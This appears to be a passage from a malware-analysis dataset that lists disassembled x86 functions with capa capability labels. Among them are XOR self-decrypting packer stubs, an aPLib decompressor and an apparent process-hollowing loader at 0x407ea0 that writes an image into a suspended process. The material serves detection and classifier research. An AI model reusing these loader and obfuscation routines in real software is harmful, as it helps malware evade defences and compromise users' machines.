joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1110bd70
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1110bd7a
pushal
call 0x1110bd80
pop ebp
sub ebp, 0x10
sub ebp, 0x110bd70
mov al, byte [esp + 0x28]
cmp al, 1
je 0x1110bda4
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x1110bdad
mov eax, 0x110bd70
add eax, ebp
add eax, 0x63
mov ecx, 0x5c5
mov edx, 0x125eee41
xor byte [eax], dl
inc eax
dec ecx
jne 0x1110bdc4
jmp 0x1110bdd7
retf 0xca8c
Function at 0x405540
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a1d0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x463014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x464074
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.0041a0f0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x463a8c
push eax
call fcn.0041a0f0
mov esi, dword [0x464084]
xor ebx, ebx
mov edi, dword [0x464088]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x4672d0], bl
mov eax, ebx
mov ecx, 0x464074
cmovae ecx, dword [0x464074]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x4673e0], al
inc ebx
cmp ebx, 0x100
jl 0x4055c0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x4672d0]
movzx eax, byte [esi + 0x4673e0]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x405614
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x4672d0]
mov byte [esi + 0x4672d0], al
inc esi
mov byte [edi + 0x4672d0], dl
cmp esi, 0x100
jl 0x4055f0
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00405190
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x405669
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40565f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4056bf
push edx
push ecx
call fcn.0041f693
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4056ab
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4056a1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4056bf
push edx
push ecx
call fcn.0041f693
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00438c9a
int3
Function at 0x4056d0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov ebx, ecx
mov esi, edx
xor edx, edx
mov dword [ebp - 4], ebx
mov ecx, 3
mov dword [ebp - 8], esi
push edi
mov eax, dword [esi + 0x10]
div ecx
push 0x3d
mov ecx, eax
mov dword [ebx + 0x10], 0
xor eax, eax
mov dword [ebx + 0x14], 0xf
cmp eax, edx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
sbb eax, eax
mov byte [ebx], 0
neg eax
add eax, ecx
mov ecx, ebx
shl eax, 2
push eax
call fcn.00419fb0
cmp dword [esi + 0x14], 0x10
mov edi, esi
jb 0x405729
mov edi, dword [esi]
cmp dword [ebx + 0x14], 0x10
mov esi, ebx
jb 0x405733
mov esi, dword [ebx]
mov ecx, dword [ebp - 8]
mov eax, 0xaaaaaaab
mov ecx, dword [ecx + 0x10]
mul ecx
shr edx, 1
je 0x4057b4
mov ebx, edx
movsx ecx, byte [edi]
movsx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movsx eax, byte [edi + 2]
shl ecx, 8
add edi, 3
or ecx, eax
mov eax, esi
mov edx, ecx
shr edx, 0x12
and edx, 0x3f
movzx edx, byte [edx + 0x459d00]
mov byte [eax], dl
mov edx, ecx
shr edx, 0xc
lea eax, [esi + 3]
and edx, 0x3f
movzx edx, byte [edx + 0x459d00]
mov byte [esi + 1], dl
mov edx, ecx
shr edx, 6
and ecx, 0x3f
and edx, 0x3f
movzx edx, byte [edx + 0x459d00]
mov byte [esi + 2], dl
add esi, 4
mov cl, byte [ecx + 0x459d00]
mov byte [eax], cl
sub ebx, 1
jne 0x405746
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
mov ecx, dword [eax + 0x10]
mov eax, ecx
xor edx, edx
mov ecx, 3
div ecx
sub edx, 1
je 0x405815
sub edx, 1
jne 0x40583a
movsx ecx, byte [edi]
movsx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
mov eax, esi
shl ecx, 8
mov edx, ecx
shr edx, 0x12
and edx, 0x3f
pop edi
movzx edx, byte [edx + 0x459d00]
mov byte [eax], dl
mov edx, ecx
shr edx, 0xc
mov eax, ebx
and edx, 0x3f
shr ecx, 6
and ecx, 0x3f
movzx edx, byte [edx + 0x459d00]
mov byte [esi + 1], dl
mov cl, byte [ecx + 0x459d00]
mov byte [esi + 2], cl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movsx eax, byte [edi]
shl eax, 0x10
mov ecx, eax
shr eax, 0xc
shr ecx, 0x12
and ecx, 0x3f
and eax, 0x3f
mov cl, byte [ecx + 0x459d00]
mov byte [esi], cl
mov al, byte [eax + 0x459d00]
mov byte [esi + 1], al
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407ea0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x463014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call dword [0x4510c4]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x408089
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x408089
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00436120
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call dword [0x45106c]
test eax, eax
je 0x408089
push 4
push 0x1000
push 4
push 0
call dword [0x4510b4]
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call dword [0x451058]
test eax, eax
je 0x408089
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x459dd4
push dword [esp + 0x30]
call dword [0x451068]
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x407fac
push 0x459dd8
push 0x459df0
call dword [0x4510a0]
push eax
call dword [0x45105c]
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call dword [0x451060]
mov dword [esp + 0x14], eax
test eax, eax
je 0x408089
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call dword [0x4510c0]
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x408043
mov dword [esp + 0xc], eax
call fcn.00407cf0
push eax
call dword [0x451094]
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call dword [0x4510c0]
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x407ff2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call dword [0x4510c0]
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call dword [0x451074]
push dword [esp + 0x24]
call dword [0x45109c]
push 0x8000
push 0
push esi
call dword [0x4510bc]
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0041f021
mov esp, ebp
pop ebp
ret
Function at 0x40bc60
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44aa86
mov eax, dword fs:[0]
push eax
sub esp, 0x438
mov eax, dword [0x463014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x414], ebx
push 0
mov dword [ebp - 0x414], ebx
call fcn.0043ab26
push eax
call fcn.00438690
add esp, 8
call fcn.0043866f
cdq
mov ecx, 0x3313
idiv ecx
mov edi, edx
call fcn.0043866f
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
imul esi, edi
call fcn.0043866f
imul edx, eax, 0x4d
lea ecx, [ebp - 0x444]
add edx, 0x64
add edx, esi
call fcn.004050b0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x410]
cmovae eax, dword [ebp - 0x444]
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x40bd10
lea esi, [ebp - 0x410]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40bd26
push 0x40
push 0
push 0x4694a0
sub esi, ecx
call fcn.00436120
add esp, 0xc
mov dword [0x469494], 0
mov edx, esi
mov dword [0x469490], 0
lea ecx, [ebp - 0x410]
mov dword [0x469480], 0x67452301
mov dword [0x469484], 0xefcdab89
mov dword [0x469488], 0x98badcfe
mov dword [0x46948c], 0x10325476
call fcn.004061a0
call fcn.00406260
mov ecx, 0x4674e0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bdb1
sub ecx, edx
push ecx
push 0x4674e0
lea ecx, [ebp - 0x42c]
call fcn.0041a0f0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x430]
cmp edx, 0x10
jb 0x40be0c
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40be02
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40becc
push edx
push ecx
call fcn.0041f693
add esp, 8
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x41c]
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
cmp eax, 1
jb 0x40bec7
dec eax
mov ecx, 0xa
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x418], 0x10
lea eax, [ebp - 0x42c]
cmovae eax, dword [ebp - 0x42c]
push ecx
inc eax
mov ecx, ebx
push eax
call fcn.0041a0f0
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0x40bea9
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40be9f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40becc
push edx
push ecx
call fcn.0041f693
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f021
mov esp, ebp
pop ebp
ret
call fcn.0041a230
call fcn.00438c9a
int3
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x1434231e
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..text_1
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x7f7633af
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
nop
mov ecx, 0x172a526e
nop
nop
nop
nop
nop
test eax, eax
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x799c0830
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x7f2e18b8
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x4304d8
nop
mov ecx, 0x3a65444c
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x1098058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x10981a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x109807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x109806a
add dl, dl
jne 0x1098089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10980dc
xor eax, eax
add dl, dl
jne 0x1098096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x109817d
add dl, dl
jne 0x10980a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10980b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10980bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10980c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10980d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1098075
mov eax, 1
add dl, dl
jne 0x10980ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10980f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10980e1
sub eax, ebx
mov ebx, 1
jne 0x1098128
mov ecx, 1
add dl, dl
jne 0x109810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1098119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1098105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1098075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x109813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x109814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1098136
cmp eax, 0x7d00
jae 0x109816d
cmp eax, 0x500
jb 0x1098168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1098075
cmp eax, 0x7f
ja 0x1098170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1098075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x109819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1098075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x44ba10
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [0x65dd9c]
sub esp, 0x10
push esi
push eax
mov esi, 1
call sub.WINSPOOL.DRV_StartPagePrinter
lea ecx, [esp + 8]
push ecx
push 0x20019
push 0
push str.SoftwareAdobeAdobe_Acrobat11.0Security
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44ba8e
mov dword [esp + 0x10], eax
mov dword [esp + 4], eax
lea edx, [esp + 0xc]
lea eax, [esp + 4]
push edx
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push 0x65d054
push edx
mov dword [esp + 0x24], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44ba83
mov eax, dword [esp + 4]
test eax, eax
jne 0x44ba83
xor esi, esi
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x428630
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a38eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004981d3
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4286b2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00495aef
mov eax, dword [eax]
push 0x4dae2c
push eax
call fcn.00487b64
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0049845e
test bl, bl
je 0x4286b2
push 0x4dae2c
lea ecx, [esp + 0xc]
call fcn.004987ee
push 0x4dae38
lea ecx, [esp + 0xc]
call fcn.004987ee
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4286ee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0049845e
jmp 0x4287b9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x428772
lea edx, [esp + 0x7c]
push 0x4dae34
push edx
call fcn.00487b64
add esp, 8
test eax, eax
je 0x428772
lea eax, [esp + 0x7c]
push 0x4dae30
push eax
call fcn.00487b64
add esp, 8
test eax, eax
je 0x428772
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x428702
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0049845e
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x428fb0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x429012
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x429020
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a396b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4e8cc0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x429158
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x429086
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0049845e
xor eax, eax
jmp 0x4291cf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0049859b
push esi
lea ecx, [esp + 0xc]
call fcn.0049882a
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4291ad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00428fb0
test eax, eax
jne 0x4291ad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00428fb0
test eax, eax
jne 0x4291ad
lea eax, [esp + 0x14]
push 0x4dae48
push eax
call fcn.00488c70
mov esi, eax
add esp, 8
test esi, esi
jne 0x42918c
lea ecx, [esp + 0x14]
push 0x4dae44
push ecx
call fcn.00488bf0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42918c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42918f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0049854b
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42909e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0049845e
xor eax, eax
jmp 0x4291cf
mov byte [esi], 0
push 0x4dae40
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0049845e
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4